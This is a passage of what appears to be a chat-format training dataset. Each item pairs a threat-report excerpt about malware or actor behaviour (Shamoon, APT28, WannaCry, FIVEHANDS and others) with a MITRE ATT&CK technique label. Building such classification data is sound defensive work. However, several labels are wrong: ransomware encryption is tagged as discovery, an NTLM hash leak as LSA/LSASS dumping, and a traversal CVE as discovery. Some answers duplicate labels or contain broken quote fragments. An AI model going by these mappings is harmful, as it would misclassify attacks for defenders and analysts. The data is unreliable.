                "role": "user",
                "content": "binds and listens on port 443."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A tool used by the adversary which wasn’t installed on the servers by default, was DSInternals. DSInternals is a PowerShell module that makes use of internal Active Directory features. The files and directories found on various systems of a victim match with DSInternals version 2.16.1. We have found traces that indicate DSInternals was executed and at which time, which match with the rest of the traces of the intrusion. We haven’t recovered traces of how the adversary used DSInternals, but considering the phase of the intrusion the adversary used the tool, it is likely they used it for either account discovery or privilege escalation, or both"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Downloader After the exploit or script executes, the system downloads install.exe, which has the following metadata: MD5             5a0c4e1925c76a959ab0588f683ab437 Size            46592 bytes Compile Time    2014-11-19 08:55:10Z Import Hash     6b8611f8148a6b51e37fd68e75b6a81c The file install.exe attempts to write two files (doc.exe and test.exe) to the hard-coded path “C:\\Users\\Public”, which fails on Windows XP because that path is not present by default"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has exfiltrated files stolen from local systems."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once a removable media device is inserted back into the first victim,  collects data from it that was exfiltrated from a second victim."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Screenshot in leak of administrative panel for an account at DeltaHost If we use the filename of this screenshot and assume that it was taken on March 29, 2019 and subtract 194 days from this date, it is possible that this server had been operational since at least September 16, 2018"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When generating the URL for the HTTP requests issued to the C2 server, the Trojan chooses a random folder from the following to include within the URL path: watch/? search/? find/? results/? open/? search/? close/? XAgent also will choose several parameters names from the following list when finishing the construction of the C2 URL: itwm= text= from="
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HALFBAKED can obtain information about running processes on the victim."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows can run as a service using svchost.exe."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used various tools to download files, including DGet (a similar tool to wget)."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideCopy has delivered trojanized executables via spearphishing emails that contacts actor-controlled servers to download malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has retrieved internal documents from machines inside victim environments, including by using Forfiles to stage documents before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When executing the code, the browser creates an invisible image tag and sets the URL to an attack server using the file:// protocol scheme. On Windows machines, this triggers a request to a remote server via the Samba networking protocol (SMB) that also transmits the user’s login NTLM hash. These hashes can be cracked to retrieve the original login password by methods of brute-force, dictionary, or rainbow table lookups"
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets', 'T1552.001 - Unsecured Credentials: Credentials In Files', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1003.005 - OS Credential Dumping: Cached Domain Credentials', 'T1555 - Credentials from Password Stores', 'T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has deployed privileged containers that mount the filesystem of victim machine."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a website used by their target demographic (e.g., compromising a website specializing in oil and gas industry news when targeting the energy vertical)"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Orz can overwrite Registry settings to reduce its visibility on the victim."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This presentation by Christopher Glyer and Devon Kerr contains additional information on attacker use of WMI in past Mandiant investigations"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used PsExec to deploy beacons on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to list processes on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BACKSPACE uses HTTP as a transport to communicate with its command server."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook is capable of taking an image of and uploading the current desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CVE-2014-4113 is a privilege escalation vulnerability that was disclosed publicly on 2014-10-14"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses PowerShell to add a Registry Run key in order to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kasidet has the ability to obtain a victim's system name and operating system version."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the Trojan runs as an executable within the \"DsvHelper\" folder, the Trojan will create a shortcut (.lnk file) and save the shortcut to the 'DsvHelper' folder. The embedded payload written to process memory exists in the \"R\" resource and called function in the new payload is named \"RPe.Test.Work\". The function will take another executable embedded in the initial Trojan as a resource named \"M\", which it attempts to inject into the following process to execute: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe While it's configured to inject into cvtres.exe, the Trojan is also capable of injecting its code into the following process as well: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MegaCortex has used code signing certificates issued to fake companies to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec is capable of using HTTP and HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon can use a dynamic Windows hashing algorithm to map API components."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors deobfuscated Base64-encoded commands following the execution of a malicious script, which revealed a small script designed to obtain an additional payload."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dacls can scan directories on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackdoorDiplomacy is a group that primarily targets diplomatic organizations in the Middle East and Africa, and less frequently, telecommunication companies. Their initial attack methodology is focused on exploiting vulnerable internet-exposed applications on webservers, in order to drop and execute a webshell. Post compromise, via the webshell, BackdoorDiplomacy deploys open-source software for reconnaissance and information gathering, and favors the use of DLL search order hijacking to install its backdoor, Turian. Finally, BackdoorDiplomacy employs a separate executable to detect removable media, likely USB flash drives, and copy their contents to the main drive’s recycle bin"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explosive has collected the computer name from the infected host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Night Dragon has dumped account hashes with Carbanak and cracked them with Cain & Abel."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLEAD also dabbled with a short-lived, fileless version of their malware when it obtained an exploit for a Flash vulnerability (CVE-2015-5119) that was leaked during the Hacking Team breach"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Among the different files dropped by the latest versions of Ramsay we find a Spreader component. This executable will attempt to scan for network shares and removable drives excluding A: and B: drives"
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a Registry subkey to register its created service, and can also uninstall itself later by deleting this value. 's backdoor also enables remote attackers to modify and delete subkeys."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malicious spearphishing payloads use WMI to launch malware and spawn cmd.exe execution.  has also used WMIC during and post compromise cleanup activities."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec can obtain the OS version information, computer name, processor architecture, machine role, and OS edition."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CARROTBAT has the ability to determine the operating system of the compromised host and whether Windows is being run with x86 or x64 architecture."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The most notable change to this variant of Zebrocy, other than the programming language used, is the way the tool gathers the system information and running processes. Instead of using systeminfo and tasklist commands, the C# variant of Zebrocy uses WMI queries to gather this information. The tool runs the following list of WMI queries"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the skimmer has the credit card details, it serializes the copied data into a string and encodes it with Base64. Then, it performs a character permutation on the encoded string to make sure it can’t be directly decoded with Base64 decoding"
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Looking into the arguments shows that the process plugin comes from the received packet to execute functions such as collecting process information, running a new process, and terminating a running one. The process information collected includes the username, user ID, group ID, and process parent ID of the target process"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CVE-2015-1197 is a directory traversal vulnerability: extracting specially crafted archives containing symbolic links can cause files to be placed at an arbitrary location in the file system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanoCore uses VBS files."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used batch scripts in its malware to install persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pillowmint can uninstall the malicious service from an infected machine."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host', 'T1070.009 - Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has executed JavaScript scriptlets on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RGDoor executes the \"whoami\" on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FoggyWeb can configure custom listeners to passively monitor all incoming HTTP GET and POST requests sent to the AD FS server from the intranet/internet and intercept HTTP requests that match the custom URI patterns defined by the actor."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C# variant of RogueRobin attempts to detect if it is executing in a sandbox environment using the same commands as in the PowerShell variant of RogueRobin. The series of commands, as seen in Table 2, include checks for virtualized environments, low memory, and processor counts, in addition to checks for common analysis tools running on the system. The Trojan also checks to see if a debugger is attached to its processes and will exit if it detects the presence of a debugger"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, the malware executes the extracted install.bat script before deleting the original files and exiting"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "H1N1 kills and disables services for Windows Security Center, and Windows Defender."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron can be configured to exfiltrate data during nighttime or working hours."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon can collect and send the local IP address, RDP information, and the network adapter physical address as a part of its C2 beacon."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has used obfuscated PowerShell scripts for staging."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon contains base64-encoded strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The files are encrypted with a randomly generated 128-bit AES key in CBC mode with a NULL initialization vector. The key is generated per file, is encrypted with the generated RSA public key, and included in the encrypted file header. Each file encrypted by the malware starts with the string WANACRY. and has the WNCRY extension. Depending on the file properties, the malware may also stage files in a WNCRYT extension"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sifo – Collect victim system information - drive – List drives on victim machine - list – List file information for provided directory - upload – Upload a file to the victim machine - open – Spawn a command shell"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1083 - File and Directory Discovery', 'T1105 - Ingress Tool Transfer', 'T1082 - System Information Discovery', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After moving through the network and identifying assets to target, the next step would be to gather key data. At the collection phase, Carbanak and FIN7 campaigns harvest data from local system sources and through input and screen capture (as performed in a related campaign using the Tirion malware)."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture', 'T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses  and other Active Directory utilities to enumerate hosts."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon execution, this Trojan checks to see if it was configured with “BINDERON” to determine if it should extract an embedded payload from a resource named “B”, save it to %TEMP%\\%BIND1%, and create a new process with the embedded payload"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper can decompress and copy driver files using `LZCopy`."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware names itself \"svchost.exe,\" which is the name of the Windows shared service host program."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIVEHANDS uses an embedded NTRU public key. This NTRU key is SHA512 hashed and the first 32 bytes are used as the victim ID within the ransom note. This NTRU pubic key is also used to encrypt each file's symmetric key. For the symmetric key, FIVEHANDS uses an embedded generation routine to produce 16 random bytes used for an AES key to encrypt each file. After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public NTRU key and appended to the file. The four magic bytes DB DC CC AB are appended to the end of the encrypted file. FIVEHANDS includes additional code not found in DEATHRANSOM and HELLOKITTY to use the Windows Restart Manager to close a file currently in use so that it can be unlocked and successfully encrypted"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon can download an executable to run on the victim."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has used base64 encoding to hide command strings delivered from the C2."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "macOS.OSAMiner has used `ps ax | grep <name> | grep -v grep | ...` and `ps ax | grep -E...` to conduct process discovery."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a keylogger component."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors used the following commands following exploitation of a machine with  malware to enumerate user accounts: net user >> %temp%\\download net user /domain >> %temp%\\download"
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
